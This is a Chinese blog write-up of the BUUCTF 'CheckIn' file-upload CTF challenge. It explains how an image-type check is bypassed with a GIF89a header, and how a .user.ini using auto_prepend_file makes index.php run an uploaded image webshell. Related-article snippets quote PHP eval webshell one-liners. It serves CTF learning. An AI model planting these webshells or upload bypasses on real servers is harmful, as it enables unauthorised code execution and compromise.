[BUUCTF]CheckIn (writeup)

最新推荐文章于 2023-10-10 21:24:55 发布
最新推荐文章于 2023-10-10 21:24:55 发布
阅读量155 收藏
点赞数
分类专栏： buuctf--web 文章标签： php 开发语言 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_63306244/article/details/131341675
版权

进入后看到是一道上传题

还是依照惯例

传个马

访问看看

随后看看了之前用过的phtml和.htaccess

发现都是不能成功的

回显：exif_imagetype:not image!

那就只剩下最后一种办法

那就是.user.ini

GIF89a?
auto_prepend_file=a.png

定义：auto_prepend_file 在页面顶部加载文件

 

看到这个后就可以直接上蚁剑了

但是要注意的是

蚁剑后面的文件是index.php并不是a.png

因为.user.ini是将a.png放到index.php文件的顶部进行执行

所以要访问的是index.php

xiao孩
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
BUUCTF [SUCTF 2019]CheckIn
qq_42158602的博客
02-07 1584
拿到题进行简单的测试，发现修改content-type和利用特殊扩展名php5、pht等都没有成功 发现添加图片头文件就可以绕过 GIF89a 上传php文件的时候发现过滤了<? 绕过检测 <script language='php'></script> 构造图片马 GIF89a <script language='php'>eval($_GET['...
BUUCTF-CheckIn
m0_47571887的博客
11-09 770
打开题目，貌似是一道考上传的题目 上传php文件被过滤，我们就上传图片马， 我们用.htaccess来进行解析，尝试过后貌似行不通， 这里使用.user.ini .user.ini：在php.ini中的配置项中有两个配置项，一个是auto_append_file和auto_prepend_file，auto_prrpend_file意思是指定一个文件，自动包含在要执行的文件前，类似与在文件前调用了require()函数。而auto_append_file相似，只是在文件后面进行包含，使用方法很简
Buuctf [GKCTF2020]CheckIN
CyhDl666的博客
03-19 319
进入网站直接贴了源码 <title>Check_In</title> <?php highlight_file(__FILE__); class ClassName { public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Gin.
BUUCTF_web_CheckIn
silence1_的博客
08-31 2171
BUUCTF_web_CheckIn 题目： 题目是SUCTF 2019的web题， 题目源码：https://github.com/team-su/SUCTF2019/tree/master/Web/checkIn 也是看了大佬的writeup才做出来，太菜了。。。orz 学到了一种新的上传姿势。 打开题目是一个上传界面。 随便上传一个php文件，意料之中被拦。 burp抓包改后缀为jpg，提示...
BUUCTF_[SUCTF 2019]CheckIn
TenG的博客
05-22 1121
前言 问君能有几多愁？恰似一江春水向东流 先扯些题外话，这个题目是在BUUCTF刷到的，本来以为就是普通的文件上传，但是看了其他师傅的文章以后发现了新姿势，这次利用到的知识点也刷新了我对文件上传类题目的认知，所以特此记录一下。本文也参考了这位大师傅的文章，然后再结合我自己的理解记录下来，当然我的理解还不够透彻，所以还请各位师傅多多指教。 正文 先来看下题目页面 可以看到这就是普通的文件上传页面，开始呢我也是用的以前的常规方法去试的，什么修改MIME类型、图片合成马、00截断啊都试了，但是没有一个能用的。
checkin
03-18
报到 此仓库包含为测试“深层链接”教程而开发的“酒店基本入住”网站应用程序。 部署方式 通过单击以下按钮之一，您可以轻松地免费将自己的Web应用程序版本免费部署到Heroku。 起动机 最终的
glados_checkin
03-25
glados定时签到
checkin-system
05-19
2.克隆gsshop-checkin $ git clone https://github.com/GSSHOPLabs/gsshop-checkin.git $ cd gsshop-checkin $ npm install 3.启动gsshop-checkin $ node ./bin/www 4.开始开发 http://localhost:3000 5.捕获...
checkin-ncku
05-21
checkin-nckuFeature打卡完截屏并寄到信箱每天随机打卡依据上班时间，在合法时间内进行随机下班打卡依据假期日，跳过打卡日期Install yarn installUsage填入所需的帐户资讯到credential.json cp credential-template...
BUUCTF-[SUCTF 2019]CheckIn
m0_61361405的博客
10-10 115
`: 这个条件语句使用正则表达式检查 `$extension` 是否包含 "ph" 或 "htacess"，如果是，表示上传的文件扩展名不被允许，代码将输出 "illegal suffix!13. `if (!`: 这行代码使用 `scandir` 函数列出目录 `$userdir` 中的文件和子目录，并将结果打印出来，以展示上传到该目录的文件列表。4. `if (isset($_POST["upload"])) {`: 这个条件语句检查是否有名为 "upload" 的 POST 参数被发送到服务器。
buuctf WEB checkin1
qq_41696858的博客
09-28 261
这题考的文件上传 经典一句话先试试，回显文件格式不对，把php文件后缀改成jpg格式 第二次回显，显示文件中包含<?,那就把一句话，改成如下形式 <script language='php'>eval($_POST['niaho']);</script> 成功绕过<?匹配，回显不是图片格式，图片头绕过GIF89a 成功上传，下面就是如何上传php文件，或者执行php代码了 经过检测，对于文件类型进行了严格的过滤，改后缀肯定不行 经过检测，可以上传.user.ini文件(
【BUUCTF】[SUCTF 2019]CheckIn
aoao331198的博客
04-09 473
废话不多讲，老生常谈的文件上传题目 需要传一个图片马 GIF89a <script language='php'>@eval($_POST['abc']);</script> 还有一个.user.ini文件 文件上传之.user.ini GIF89a auto_prepend_file=upload.jpg 作用是指定在主文件之前自动解析的文件的名称，并包含该文件，就像使用require函数调用它一样。 蚁剑链接 http://c8a6d5ca-0f52-4c27-a06f-
BUUCTF WEB [SUCTF 2019]CheckIn
A_dmin的博客
12-14 1524
BUUCTF WEB [SUCTF 2019]CheckIn 打开页面是一个上传界面： 而且题目提示给了源码！GitHub上面，看了看还有flag嘞~~ 这不重要，我是来看源码的！！！index.php源码如下： <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8">...
BUUCTF：[SUCTF 2019]CheckIn
末初的CSDN博客
11-04 1267
题目地址：https://buuoj.cn/challenges#[SUCTF%202019]CheckIn 上传文件后缀名黑名单机制，常用php及相关可解析扩展名等无法成功上传 使用.user.ini构造后门 user.ini如何构造后门详情见P神：https://www.leavesongs.com/PENETRATION/php-user-ini-backdoor.html 首先制造图片马 图片马不能包含<?，使用 <script language="php">eval($.
BUUCTF：[GKCTF2020]CheckIN
qq_46230755的博客
12-16 495
这题还是很有意思的，考的点有 先看一下题目给的代码 <title>Check_In</title> <?php highlight_file(__FILE__); class ClassName { public $code = null; public $decode = null; function __construct() { $this->code = @$this
BUUCTF web CheckIn (upload新姿势.user.ini)
H4ppyD0g的博客
02-24 684
一看是文件上传题目，很自信，之前做过upload专题，基本上就那么几种考点。 上传一个1.php试水，果然不行。 那就看看将小马写在1.jpg文本文件中，用burp改包行不行，结果被检查出来了。 嗯…应该是会检测文件属性吧，直接把小马写进txt然后该后缀名是不行了。 知识盲区 exif_imagetype:not image! ，是用了 exif_imagetype() 函数对文件格式进行了...
buuctf web 13、[SUCTF 2019]CheckIn
m0_46412682的博客
07-16 1061
buuctf web 13、[SUCTF 2019]CheckIn 开始的页面 1、 先上传一个正常的照片 2、再上传一个php文件，提示illegal suffix 3、上传一个只含一句话木马的后缀为gif的文件，提示内容中有<? 既然过滤了<? ，所以用 4、上传7.gif，但是提示不是gif类型,exif_imagetype是文件内容的头部看是否是对应的照片类型 我们只需要再文件中填写对应的照片头部 上传成功 5、但是要怎么样才能让照片木马执行，我们想到.htaccess
2021gkctf checkin
最新发布
02-29
2021gkctf checkin 是一个CTF（Capture The Flag）比赛，是由GKSEC团队举办的。CTF比赛是一种网络安全竞赛，旨在测试参赛者在网络安全领域的技能和知识。 在2021gkctf checkin中，参赛者需要完成一系列的网络安全...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值